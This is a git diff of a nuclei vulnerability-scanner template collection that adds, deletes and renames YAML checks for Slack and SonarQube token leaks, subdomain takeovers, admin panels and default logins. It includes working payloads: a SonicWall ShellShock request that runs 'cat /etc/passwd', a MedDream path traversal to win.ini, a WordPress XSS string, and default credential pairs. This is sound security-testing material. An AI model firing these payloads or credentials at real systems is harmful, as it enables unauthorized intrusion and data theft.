b/nuclei-templates/Other/slack-api(1).yaml @@ -1,12 +1,15 @@ id: slack-api + info: name: Slack API Key author: gaurang severity: high tags: token,file,slack + file: - extensions: - all + extractors: - type: regex regex: diff --git a/nuclei-templates/Other/slack-bot-token-10310.yaml b/nuclei-templates/Other/slack-bot-token-10310.yaml deleted file mode 100644 index e520d806c8..0000000000 --- a/nuclei-templates/Other/slack-bot-token-10310.yaml +++ /dev/null @@ -1,18 +0,0 @@ -id: slack-bot-token - -info: - name: Slack access token - author: nadino - severity: info - tags: exposure,token,slack - -requests: - - method: GET - path: - - "{{BaseURL}}" - - extractors: - - type: regex - part: body - regex: - - "xoxb-[0-9A-Za-z\\-]{51}" \ No newline at end of file diff --git a/nuclei-templates/Other/slack-bot-token-10312.yaml b/nuclei-templates/Other/slack-bot-token-10312.yaml new file mode 100644 index 0000000000..8e76c2814d --- /dev/null +++ b/nuclei-templates/Other/slack-bot-token-10312.yaml @@ -0,0 +1,15 @@ +id: slack-bot-token +info: + name: Slack access token + author: nadino + severity: info + tags: exposure,token,slack +requests: + - method: GET + path: + - "{{BaseURL}}" + extractors: + - type: regex + part: body + regex: + - "xoxb-[0-9A-Za-z\\-]{51}" diff --git a/nuclei-templates/Other/slack-webhook(1).yaml b/nuclei-templates/Other/slack-webhook(1).yaml deleted file mode 100644 index 97548ae165..0000000000 --- a/nuclei-templates/Other/slack-webhook(1).yaml +++ /dev/null @@ -1,16 +0,0 @@ -id: slack-webhook - -info: - name: Slack Webhook - author: gaurang - severity: high - tags: token,file,slack - -file: - - extensions: - - all - - extractors: - - type: regex - regex: - - "https://hooks.slack.com/services/T[0-9A-Za-z\\-_]{8}/B[0-9A-Za-z\\-_]{8}/[0-9A-Za-z\\-_]{24}" diff --git a/nuclei-templates/Other/slocum-login-10316.yaml b/nuclei-templates/Other/slocum-login.yaml similarity index 100% rename from nuclei-templates/Other/slocum-login-10316.yaml rename to nuclei-templates/Other/slocum-login.yaml diff --git a/nuclei-templates/Other/smartjob-takeover-10324.yaml b/nuclei-templates/Other/smartjob-takeover-10324.yaml deleted file mode 100644 index 51da5566a4..0000000000 --- a/nuclei-templates/Other/smartjob-takeover-10324.yaml +++ /dev/null @@ -1,18 +0,0 @@ -id: smartjob-takeover -info: - name: smartjob takeover detection - author: pdteam - severity: high - reference: - - https://github.com/EdOverflow/can-i-take-over-xyz - tags: takeover -requests: - - method: GET - path: - - "{{BaseURL}}" - matchers: - - type: word - words: - - Job Board Is Unavailable - - This job board website is either expired - - This job board website is either expired or its domain name is invalid. diff --git a/nuclei-templates/Other/smartjob-takeover.yaml b/nuclei-templates/Other/smartjob-takeover.yaml new file mode 100644 index 0000000000..66bc266bc8 --- /dev/null +++ b/nuclei-templates/Other/smartjob-takeover.yaml @@ -0,0 +1,17 @@ +id: smartjob-takeover +info: + name: smartjob takeover detection + author: pdteam + severity: high + tags: takeover + reference: https://github.com/EdOverflow/can-i-take-over-xyz +requests: + - method: GET + path: + - "{{BaseURL}}" + matchers: + - type: word + words: + - Job Board Is Unavailable + - This job board website is either expired + - This job board website is either expired or its domain name is invalid. diff --git a/nuclei-templates/Other/smartling-takeover-10326.yaml b/nuclei-templates/Other/smartling-takeover-10326.yaml new file mode 100644 index 0000000000..b956b52d44 --- /dev/null +++ b/nuclei-templates/Other/smartling-takeover-10326.yaml @@ -0,0 +1,15 @@ +id: smartling-takeover +info: + name: smartling takeover detection + author: pdcommunity + severity: info + tags: takeover + reference: https://github.com/EdOverflow/can-i-take-over-xyz/issues/67 +requests: + - method: GET + path: + - "{{BaseURL}}" + matchers: + - type: word + words: + - Domain is not configured diff --git a/nuclei-templates/Other/smartling-takeover-10327.yaml b/nuclei-templates/Other/smartling-takeover-10327.yaml deleted file mode 100644 index 00905c7342..0000000000 --- a/nuclei-templates/Other/smartling-takeover-10327.yaml +++ /dev/null @@ -1,15 +0,0 @@ -id: smartling-takeover -info: - name: smartling takeover detection - author: pdteam - severity: info - tags: takeover - reference: https://github.com/EdOverflow/can-i-take-over-xyz/issues/67 -requests: - - method: GET - path: - - "{{BaseURL}}" - matchers: - - type: word - words: - - Domain is not configured diff --git a/nuclei-templates/Other/smartsense-default-login-10328.yaml b/nuclei-templates/Other/smartsense-default-login-10328.yaml deleted file mode 100644 index b4af83b266..0000000000 --- a/nuclei-templates/Other/smartsense-default-login-10328.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: smartsense-default-login -info: - name: HortonWorks SmartSense Default Login - author: Techryptic (@Tech) - severity: high - description: HortonWorks SmartSense default admin login information was detected. - reference: - - https://docs.cloudera.com/HDPDocuments/SS1/SmartSense-1.2.2/bk_smartsense_admin/content/manual_server_login.html - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - tags: hortonworks,smartsense,default-login -requests: - - raw: - - | - GET /apt/v1/context HTTP/1.1 - Host: {{Hostname}} - Authorization: Basic {{base64(username + ':' + password)}} - payloads: - username: - - admin - password: - - admin - attack: pitchfork - matchers-condition: and - matchers: - - type: word - words: - - "Set-Cookie: SUPPORTSESSIONID" - part: header - - type: word - words: - - "smartsenseId" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/10 diff --git a/nuclei-templates/Other/smartsense-default-login-10331.yaml b/nuclei-templates/Other/smartsense-default-login-10331.yaml new file mode 100644 index 0000000000..0bddf7fce8 --- /dev/null +++ b/nuclei-templates/Other/smartsense-default-login-10331.yaml @@ -0,0 +1,38 @@ +id: smartsense-default-login + +info: + name: HortonWorks SmartSense Default Login + author: Techryptic (@Tech) + severity: high + description: Default Login of admin:admin on HortonWorks SmartSense application. + reference: https://docs.cloudera.com/HDPDocuments/SS1/SmartSense-1.2.2/bk_smartsense_admin/content/manual_server_login.html + tags: hortonworks,smartsense,default-login + +requests: + - raw: + - | + GET /apt/v1/context HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64(username + ':' + password)}} + + payloads: + username: + - admin + password: + - admin + attack: pitchfork + + matchers-condition: and + matchers: + - type: word + words: + - "Set-Cookie: SUPPORTSESSIONID" + part: header + + - type: word + words: + - "smartsenseId" + + - type: status + status: + - 200 \ No newline at end of file diff --git a/nuclei-templates/Other/smartstore-detect-10332.yaml b/nuclei-templates/Other/smartstore-detect-10332.yaml new file mode 100644 index 0000000000..3fbff40d7a --- /dev/null +++ b/nuclei-templates/Other/smartstore-detect-10332.yaml @@ -0,0 +1,37 @@ +id: smartstore-detect + +info: + name: SmartStore Detect + author: princechaddha + severity: info + reference: + - https://github.com/smartstore/SmartStoreNET + metadata: + max-request: 1 + shodan-query: http.html:'content="Smartstore' + tags: tech,smartstore,oss + +http: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - '' + + - type: status + status: + - 200 + + extractors: + - type: regex + part: body + group: 1 + regex: + - '' + +# digest: 4a0a00473045022018a8bf80686d606487628b98a556864708b3e41d09ac2125c7b49dd65a7ce794022100f9709ab85ec5ebe2358b9f3bb10818003a36e06d2e1efcc8639d6f6b1c15df0d:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/Other/smartstore-detect-10334.yaml b/nuclei-templates/Other/smartstore-detect-10334.yaml deleted file mode 100644 index d3aa558182..0000000000 --- a/nuclei-templates/Other/smartstore-detect-10334.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: smartstore-detect -info: - name: SmartStore Detect - author: princechaddha - severity: info - reference: https://github.com/smartstore/SmartStoreNET - metadata: - shodan-query: http.html:'content="Smartstore' - tags: tech,smartstore,oss -requests: - - method: GET - path: - - "{{BaseURL}}" - matchers-condition: and - matchers: - - type: regex - part: body - regex: - - '' - - type: status - status: - - 200 - extractors: - - type: regex - part: body - group: 1 - regex: - - '' diff --git a/nuclei-templates/Other/smb-v1-detection.yaml b/nuclei-templates/Other/smb-v1-detection.yaml index 4ff32b9e36..8326a7cd28 100644 --- a/nuclei-templates/Other/smb-v1-detection.yaml +++ b/nuclei-templates/Other/smb-v1-detection.yaml @@ -3,8 +3,9 @@ info: name: SMB-V1 Detection author: pussycat0x severity: low + reference: + - https://stealthbits.com/blog/what-is-smbv1-and-why-you-should-disable-it/ tags: network,windows,smb,service - reference: https://stealthbits.com/blog/what-is-smbv1-and-why-you-should-disable-it/ network: - inputs: - data: 00000031ff534d4272000000001845680000000000000000000000000000be2200000100000e00024e54204c4d20302e3132000200 diff --git a/nuclei-templates/Other/smugmug-takeover-10339.yaml b/nuclei-templates/Other/smugmug-takeover-10339.yaml new file mode 100644 index 0000000000..2ff73bff7a --- /dev/null +++ b/nuclei-templates/Other/smugmug-takeover-10339.yaml @@ -0,0 +1,16 @@ +id: smugmug-takeover +info: + name: smugmug takeover detection + author: pdteam + severity: high + reference: + - https://github.com/EdOverflow/can-i-take-over-xyz + tags: takeover +requests: + - method: GET + path: + - "{{BaseURL}}" + matchers: + - type: word + words: + - '{"text":"Page Not Found"' diff --git a/nuclei-templates/Other/smugmug-takeover-10340.yaml b/nuclei-templates/Other/smugmug-takeover-10340.yaml deleted file mode 100644 index 9678ab5c80..0000000000 --- a/nuclei-templates/Other/smugmug-takeover-10340.yaml +++ /dev/null @@ -1,15 +0,0 @@ -id: smugmug-takeover -info: - name: smugmug takeover detection - author: pdcommunity - severity: high - tags: takeover - reference: https://github.com/EdOverflow/can-i-take-over-xyz -requests: - - method: GET - path: - - "{{BaseURL}}" - matchers: - - type: word - words: - - '{"text":"Page Not Found"' diff --git a/nuclei-templates/Other/sniplets-lfi.yaml b/nuclei-templates/Other/sniplets-lfi-10342.yaml similarity index 100% rename from nuclei-templates/Other/sniplets-lfi.yaml rename to nuclei-templates/Other/sniplets-lfi-10342.yaml diff --git a/nuclei-templates/Other/sniplets-xss-10345.yaml b/nuclei-templates/Other/sniplets-xss-10345.yaml new file mode 100644 index 0000000000..42c48bf14f --- /dev/null +++ b/nuclei-templates/Other/sniplets-xss-10345.yaml @@ -0,0 +1,30 @@ +id: sniplets-xss + +info: + name: Wordpress Plugin Sniplets - XSS + author: dhiyaneshDK + severity: medium + description: Cross-site scripting (XSS) on Wordpress Plugin Sniplets + reference: https://www.exploit-db.com/exploits/5194 + tags: xss,wordpress,wp-plugin,wp + +requests: + - method: GET + path: + - '{{BaseURL}}/wp-content/plugins/sniplets/view/sniplets/warning.php?text=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/sniplets-xss.yaml b/nuclei-templates/Other/sniplets-xss.yaml deleted file mode 100644 index c48716aeb9..0000000000 --- a/nuclei-templates/Other/sniplets-xss.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: sniplets-xss -info: - name: Wordpress Plugin Sniplets - XSS - author: dhiyaneshDK - severity: medium - description: Cross-site scripting (XSS) on Wordpress Plugin Sniplets - reference: https://www.exploit-db.com/exploits/5194 - tags: xss,wordpress,wp-plugin,wp -requests: - - method: GET - path: - - '{{BaseURL}}/wp-content/plugins/sniplets/view/sniplets/warning.php?text=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - matchers-condition: and - matchers: - - type: word - part: body - words: - - "" - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/nuclei-templates/Other/snyk-ignore-file-disclosure-10347.yaml b/nuclei-templates/Other/snyk-ignore-file-disclosure.yaml similarity index 100% rename from nuclei-templates/Other/snyk-ignore-file-disclosure-10347.yaml rename to nuclei-templates/Other/snyk-ignore-file-disclosure.yaml diff --git a/nuclei-templates/Other/sofneta-mecdream-pacs-lfi-10351.yaml b/nuclei-templates/Other/sofneta-mecdream-pacs-lfi-10351.yaml new file mode 100644 index 0000000000..4e865626ce --- /dev/null +++ b/nuclei-templates/Other/sofneta-mecdream-pacs-lfi-10351.yaml @@ -0,0 +1,30 @@ +id: sofneta-mecdream-pacs-lfi +info: + name: Softneta MedDream PACS Server Premium 6.7.1.1 - Local File Inclusion + author: 0x_akoko + severity: high + description: Softneta MedDream PACS Server Premium 6.7.1.1 is vulnerable to local file inclusion. + reference: + - https://www.exploit-db.com/exploits/45347 + - https://www.softneta.com/products/meddream-pacs-server/downloads.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + metadata: + google-dork: inurl:pacs/login.php, inurl:pacsone/login.php, inurl:pacsone filetype:php home, inurl:pacsone filetype:php login + tags: sofneta,lfi +requests: + - method: GET + path: + - "{{BaseURL}}/pacs/nocache.php?path=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cWindows%5cwin.ini" + matchers: + - type: word + part: body + words: + - "bit app support" + - "fonts" + - "extensions" + condition: and + +# Enhanced by mp on 2022/08/04 diff --git a/nuclei-templates/Other/sofneta-mecdream-pacs-lfi.yaml b/nuclei-templates/Other/sofneta-mecdream-pacs-lfi.yaml deleted file mode 100644 index b74037e94f..0000000000 --- a/nuclei-templates/Other/sofneta-mecdream-pacs-lfi.yaml +++ /dev/null @@ -1,24 +0,0 @@ -id: sofneta-mecdream-pacs-lfi -info: - name: Softneta MedDream PACS Server Premium 6.7.1.1 - Directory Traversal - author: 0x_akoko - severity: high - description: Softneta MedDream PACS Server Premium 6.7.1.1 - Directory Traversal - reference: - - https://www.exploit-db.com/exploits/45347 - - https://www.softneta.com/products/meddream-pacs-server/downloads.html - metadata: - google-dork: inurl:pacs/login.php, inurl:pacsone/login.php, inurl:pacsone filetype:php home, inurl:pacsone filetype:php login - tags: sofneta,lfi -requests: - - method: GET - path: - - "{{BaseURL}}/pacs/nocache.php?path=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cWindows%5cwin.ini" - matchers: - - type: word - part: body - words: - - "bit app support" - - "fonts" - - "extensions" - condition: and diff --git a/nuclei-templates/Other/solarwinds-default-admin.yaml b/nuclei-templates/Other/solarwinds-default-admin.yaml new file mode 100644 index 0000000000..421104562e --- /dev/null +++ b/nuclei-templates/Other/solarwinds-default-admin.yaml @@ -0,0 +1,45 @@ +id: solarwinds-default-admin + +info: + name: SolarWinds Orion Default Login + author: dwisiswant0 + severity: high + tags: solarwinds,default-login + reference: https://github.com/solarwinds/OrionSDK/wiki/REST + + # Optional: + # POST /SolarWinds/InformationService/v3/Json/Create/Orion.Pollers HTTP/1.1 + # {"PollerType":"Hello, world! from nuclei :-P", "NetObject":"N:1337", "NetObjectType":"N", "NetObjectID":1337} + +requests: + - raw: + - | + GET /SolarWinds/InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64(username)}} + + - | + GET /InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64(username)}} + + payloads: + username: + - admin + attack: pitchfork + + matchers-condition: and + matchers: + - type: word + words: + - "Content-Type: application/json" + part: header + - type: regex + regex: + - "(totalRow|result|swi)s(:\\/\\/)?" + - "(Orion\\.|Poller(ID)?)s?" + condition: and + part: body + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/solarwinds-default-login-10355.yaml b/nuclei-templates/Other/solarwinds-default-login-10355.yaml deleted file mode 100644 index 64d31401a7..0000000000 --- a/nuclei-templates/Other/solarwinds-default-login-10355.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: solarwinds-default-admin - -info: - name: SolarWinds Orion Default Credentials - author: dwisiswant0 - severity: high - tags: solarwinds,default-login - - # Optional: - # POST /SolarWinds/InformationService/v3/Json/Create/Orion.Pollers HTTP/1.1 - # {"PollerType":"Hello, world! from nuclei :-P", "NetObject":"N:1337", "NetObjectType":"N", "NetObjectID":1337} - - # References: - # - https://github.com/solarwinds/OrionSDK/wiki/REST - -requests: - - method: GET - path: - - "{{BaseURL}}/SolarWinds/InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS" # First path is default base path - - "{{BaseURL}}/InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS" - headers: - Authorization: "Basic YWRtaW46" - matchers-condition: and - matchers: - - type: word - words: - - "Content-Type: application/json" - part: header - - type: regex - regex: - - "(totalRow|result|swi)s(:\\/\\/)?" - - "(Orion\\.|Poller(ID)?)s?" - condition: and - part: body - - type: status - status: - - 200 diff --git a/nuclei-templates/Other/solarwinds-orion-10357.yaml b/nuclei-templates/Other/solarwinds-orion-10357.yaml deleted file mode 100644 index a07f003f46..0000000000 --- a/nuclei-templates/Other/solarwinds-orion-10357.yaml +++ /dev/null @@ -1,15 +0,0 @@ -id: solarwinds-orion -info: - name: SolarWinds Orion Panel - author: puzzlepeaches - severity: info - tags: panel,solarwinds -requests: - - method: GET - path: - - "{{BaseURL}}/Orion/Login.aspx" - matchers: - - type: word - words: - - "SolarWinds Orion" - part: body diff --git a/nuclei-templates/Other/solarwinds-orion-10359.yaml b/nuclei-templates/Other/solarwinds-orion-10359.yaml new file mode 100644 index 0000000000..ed83c87d2b --- /dev/null +++ b/nuclei-templates/Other/solarwinds-orion-10359.yaml @@ -0,0 +1,17 @@ +id: solarwinds-orion +info: + name: SolarWinds Orion Panel + author: puzzlepeaches + severity: info + tags: panel +requests: + - method: GET + path: + - "{{BaseURL}}/Orion/Login.aspx" + headers: + User-Agent: "Mozilla Firefox Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0" + matchers: + - type: word + words: + - "SolarWinds Orion" + part: body diff --git a/nuclei-templates/Other/solr-exposure-10364.yaml b/nuclei-templates/Other/solr-exposure.yaml similarity index 100% rename from nuclei-templates/Other/solr-exposure-10364.yaml rename to nuclei-templates/Other/solr-exposure.yaml diff --git a/nuclei-templates/Other/solr-fileRead.yaml b/nuclei-templates/Other/solr-fileread.yaml similarity index 100% rename from nuclei-templates/Other/solr-fileRead.yaml rename to nuclei-templates/Other/solr-fileread.yaml diff --git a/nuclei-templates/Other/solr-query-dashboard-10369.yaml b/nuclei-templates/Other/solr-query-dashboard-10369.yaml deleted file mode 100644 index f36e4e3316..0000000000 --- a/nuclei-templates/Other/solr-query-dashboard-10369.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: solr-admin-query - -info: - name: Solr Admin Query Page - author: dhiyaneshDK - severity: high - reference: - - https://www.exploit-db.com/ghdb/5856 - tags: solr,unauth - -requests: - - method: GET - path: - - '{{BaseURL}}/admin/' - - '{{BaseURL}}/solr/admin/' - - matchers-condition: and - matchers: - - type: word - words: - - 'Solr admin page' - - - type: status - status: - - 200 diff --git a/nuclei-templates/Other/solr-query-dashboard-10370.yaml b/nuclei-templates/Other/solr-query-dashboard-10370.yaml new file mode 100644 index 0000000000..c291114a6f --- /dev/null +++ b/nuclei-templates/Other/solr-query-dashboard-10370.yaml @@ -0,0 +1,24 @@ +id: solr-admin-query + +info: + name: Solr Admin Query Page + author: dhiyaneshDK + severity: high + reference: https://www.exploit-db.com/ghdb/5856 + tags: solr,unauth + +requests: + - method: GET + path: + - '{{BaseURL}}/admin/' + - '{{BaseURL}}/solr/admin/' + + matchers-condition: and + matchers: + - type: word + words: + - 'Solr admin page' + + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/somfy-login-10371.yaml b/nuclei-templates/Other/somfy-login-10371.yaml new file mode 100644 index 0000000000..4a22eded46 --- /dev/null +++ b/nuclei-templates/Other/somfy-login-10371.yaml @@ -0,0 +1,18 @@ +id: somfy-login +info: + name: Somfy Login Page + author: DhiyaneshDK + severity: info + tags: panel,login +requests: + - method: GET + path: + - '{{BaseURL}}/m_login.htm' + matchers-condition: and + matchers: + - type: word + words: + - Home motion by Somfy + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/somfy-login.yaml b/nuclei-templates/Other/somfy-login.yaml deleted file mode 100644 index 2a3d4c40d1..0000000000 --- a/nuclei-templates/Other/somfy-login.yaml +++ /dev/null @@ -1,18 +0,0 @@ -id: somfy-login -info: - name: Somfy Login Page - author: DhiyaneshDK - severity: info - tags: panel -requests: - - method: GET - path: - - '{{BaseURL}}/m_login.htm' - matchers-condition: and - matchers: - - type: word - words: - - Home motion by Somfy - - type: status - status: - - 200 diff --git a/nuclei-templates/Other/sonarqube-login-10376.yaml b/nuclei-templates/Other/sonarqube-login-10376.yaml deleted file mode 100644 index 1f9ab0f8cd..0000000000 --- a/nuclei-templates/Other/sonarqube-login-10376.yaml +++ /dev/null @@ -1,18 +0,0 @@ -id: sonarqube-login - -info: - name: SonarQube panel detect - author: dhiyaneshDk - severity: info - tags: panel,sonarqube - -requests: - - method: GET - path: - - "{{BaseURL}}/sessions/new" - - matchers: - - type: word - words: - - "SonarQube" - part: body diff --git a/nuclei-templates/Other/sonarqube-login.yaml b/nuclei-templates/Other/sonarqube-login.yaml new file mode 100644 index 0000000000..5bcb44b8e5 --- /dev/null +++ b/nuclei-templates/Other/sonarqube-login.yaml @@ -0,0 +1,15 @@ +id: sonarqube-login +info: + name: SonarQube panel detect + author: dhiyaneshDk + severity: info + tags: panel,sonarqube +requests: + - method: GET + path: + - "{{BaseURL}}/sessions/new" + matchers: + - type: word + words: + - "SonarQube" + part: body diff --git a/nuclei-templates/Other/sonarqube-public-projects-10379.yaml b/nuclei-templates/Other/sonarqube-public-projects-10379.yaml new file mode 100644 index 0000000000..a2aad16212 --- /dev/null +++ b/nuclei-templates/Other/sonarqube-public-projects-10379.yaml @@ -0,0 +1,23 @@ +id: sonarqube-public-projects +info: + name: Sonarqube with public projects + author: sickwell + severity: low + tags: sonarqube,misconfig + reference: https://next.sonarqube.com/sonarqube/web_api/api/components/suggestions?internal=true +requests: + - method: GET + path: + - "{{BaseURL}}/api/components/suggestions?recentlyBrowsed=" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - '"results":' + - '"items":' + - '"more":' + part: body + condition: and diff --git a/nuclei-templates/Other/sonarqube-public-projects.yaml b/nuclei-templates/Other/sonarqube-public-projects.yaml deleted file mode 100644 index f2f5e5dbf1..0000000000 --- a/nuclei-templates/Other/sonarqube-public-projects.yaml +++ /dev/null @@ -1,24 +0,0 @@ -id: sonarqube-public-projects -info: - name: Sonarqube with public projects - author: sickwell - severity: low - reference: - - https://next.sonarqube.com/sonarqube/web_api/api/components/suggestions?internal=true - tags: sonarqube,misconfig -requests: - - method: GET - path: - - "{{BaseURL}}/api/components/suggestions?recentlyBrowsed=" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - '"results":' - - '"items":' - - '"more":' - part: body - condition: and diff --git a/nuclei-templates/Other/sonarqube-token-10382.yaml b/nuclei-templates/Other/sonarqube-token-10382.yaml deleted file mode 100755 index b4f1b1b979..0000000000 --- a/nuclei-templates/Other/sonarqube-token-10382.yaml +++ /dev/null @@ -1,17 +0,0 @@ -id: sonarqube-token - -info: - name: SonarQube Token Disclosure - author: Ice3man - severity: info - tags: exposure,token,sonarqube - -requests: - - method: GET - path: - - "{{BaseURL}}" - extractors: - - type: regex - part: body - regex: - - "sonar.{0,50}(?:\"|'|`)?[0-9a-f]{40}(?:\"|'|`)?" diff --git a/nuclei-templates/Other/sonarqube-token.yaml b/nuclei-templates/Other/sonarqube-token.yaml new file mode 100644 index 0000000000..7fe08cc8f9 --- /dev/null +++ b/nuclei-templates/Other/sonarqube-token.yaml @@ -0,0 +1,15 @@ +id: sonarqube-token +info: + name: SonarQube Token Disclosure + author: Ice3man + severity: info + tags: exposure,token,sonarqube +requests: + - method: GET + path: + - "{{BaseURL}}" + extractors: + - type: regex + part: body + regex: + - "sonar.{0,50}(?:\"|'|`)?[0-9a-f]{40}(?:\"|'|`)?" diff --git a/nuclei-templates/Other/sonicwall-sslvpn-panel-10390.yaml b/nuclei-templates/Other/sonicwall-sslvpn-panel-10390.yaml new file mode 100644 index 0000000000..4025c28287 --- /dev/null +++ b/nuclei-templates/Other/sonicwall-sslvpn-panel-10390.yaml @@ -0,0 +1,16 @@ +id: sonicwall-sslvpn-panel + +info: + name: SonicWall Virtual Office SSLVPN Panel + author: PR3R00T + severity: info + tags: panel,sonicwall + +requests: + - method: GET + path: + - "{{BaseURL}}/cgi-bin/welcome" + matchers: + - type: word + words: + - "Virtual Office" diff --git a/nuclei-templates/Other/sonicwall-sslvpn-panel.yaml b/nuclei-templates/Other/sonicwall-sslvpn-panel.yaml deleted file mode 100644 index 8f24565d45..0000000000 --- a/nuclei-templates/Other/sonicwall-sslvpn-panel.yaml +++ /dev/null @@ -1,14 +0,0 @@ -id: sonicwall-sslvpn-panel -info: - name: SonicWall Virtual Office SSLVPN Panel - author: PR3R00T - severity: info - tags: panel -requests: - - method: GET - path: - - "{{BaseURL}}/cgi-bin/welcome" - matchers: - - type: word - words: - - "Virtual Office" diff --git a/nuclei-templates/Other/sonicwall-sslvpn-shellshock-10393.yaml b/nuclei-templates/Other/sonicwall-sslvpn-shellshock-10393.yaml new file mode 100644 index 0000000000..08446f6447 --- /dev/null +++ b/nuclei-templates/Other/sonicwall-sslvpn-shellshock-10393.yaml @@ -0,0 +1,26 @@ +id: sonicwall-sslvpn-shellshock +info: + name: Sonicwall SSLVPN ShellShock RCE + author: PR3R00T + severity: critical + description: A vulnerability in Sonicwall SSLVPN contains a 'ShellShock' vulnerability which allows remote unauthenticated attackers to execute arbitrary commands. + reference: + - https://twitter.com/chybeta/status/1353974652540882944 + - https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/ + tags: shellshock,sonicwall,rce,vpn +requests: + - raw: + - | + GET /cgi-bin/jarrewrite.sh HTTP/1.1 + Host: {{Hostname}} + User-Agent: "() { :; }; echo ; /bin/bash -c 'cat /etc/passwd'" + Accept: */* + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + part: body + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/sonicwall-sslvpn-shellshock.yaml b/nuclei-templates/Other/sonicwall-sslvpn-shellshock.yaml deleted file mode 100644 index c80b9a1997..0000000000 --- a/nuclei-templates/Other/sonicwall-sslvpn-shellshock.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: sonicwall-sslvpn-shellshock -info: - name: Sonicwall SSLVPN - Remote Code Execution (ShellShock) - author: PR3R00T - severity: critical - description: | - Sonicwall SSLVPN contains a 'ShellShock' vulnerability which allows remote unauthenticated attackers to execute arbitrary commands. - reference: - - https://twitter.com/chybeta/status/1353974652540882944 - - https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - cvss-score: 10.0 - cwe-id: CWE-77 - tags: shellshock,sonicwall,rce,vpn -requests: - - raw: - - | - GET /cgi-bin/jarrewrite.sh HTTP/1.1 - Host: {{Hostname}} - User-Agent: "() { :; }; echo ; /bin/bash -c 'cat /etc/passwd'" - Accept: */* - matchers-condition: and - matchers: - - type: regex - part: body - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/05/30 diff --git a/nuclei-templates/Other/spark-webui-unauth-10400.yaml b/nuclei-templates/Other/spark-webui-unauth.yaml similarity index 100% rename from nuclei-templates/Other/spark-webui-unauth-10400.yaml rename to nuclei-templates/Other/spark-webui-unauth.yaml diff --git a/nuclei-templates/Other/spectracom-default-login-10403.yaml b/nuclei-templates/Other/spectracom-default-login-10403.yaml new file mode 100644 index 0000000000..07b09fe30a --- /dev/null +++ b/nuclei-templates/Other/spectracom-default-login-10403.yaml @@ -0,0 +1,36 @@ +id: spectracom-default-login + +info: + name: Spectracom Default Login + author: madrobot + severity: medium + tags: spectracom,default-login + +requests: + - raw: + - | + POST /users/login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + data%5Bbutton%5D=submit&data%5BUser%5D%5Busername%5D={{username}}&data%5BUser%5D%5Bpassword%5D={{password}} + + payloads: + username: + - spadmin + password: + - admin123 + attack: pitchfork + + matchers-condition: and + matchers: + - type: word + words: + - "spectracom" + - "deleted" + part: header + condition: and + + - type: status + status: + - 302 diff --git a/nuclei-templates/Other/spectracom-default-login-10405.yaml b/nuclei-templates/Other/spectracom-default-login-10405.yaml deleted file mode 100644 index c3b83c4f09..0000000000 --- a/nuclei-templates/Other/spectracom-default-login-10405.yaml +++ /dev/null @@ -1,41 +0,0 @@ -id: spectracom-default-login -info: - name: Spectracom Default Login - author: madrobot - severity: high - description: Spectracom default admin credentials were discovered. - tags: spectracom,default-login - reference: - - https://orolia.com/manuals/NC/Content/NC_and_SS/Com/Topics/ADMIN/Passwords.htm - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cve-id: - cwe-id: CWE-522 -requests: - - raw: - - | - POST /users/login HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - data%5Bbutton%5D=submit&data%5BUser%5D%5Busername%5D={{username}}&data%5BUser%5D%5Bpassword%5D={{password}} - payloads: - username: - - spadmin - password: - - admin123 - attack: pitchfork - 